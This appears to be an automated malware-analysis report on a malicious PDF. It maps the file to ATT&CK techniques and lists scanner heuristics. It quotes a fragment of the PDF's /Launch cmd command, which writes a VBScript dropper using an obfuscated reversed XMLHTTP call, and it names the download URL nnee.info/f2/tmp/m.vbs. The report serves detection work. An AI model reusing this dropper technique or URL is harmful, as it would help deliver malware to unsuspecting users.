MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File T1059.005 Visual Basic

The PDF file contains a launch action that executes 'cmd /c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM" "Scripting.FileSystemObject" A.GetSpecialFolder(2 "WScript.Shell" 2'. This command appears to be constructing and writing a VBScript to disk, which is then likely executed. The embedded URL http://nnee.info/f2/tmp/m.vbs is the probable source or destination for this script, indicating a downloader or dropper functionality.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://nnee.info/f2/tmp/m.vbs
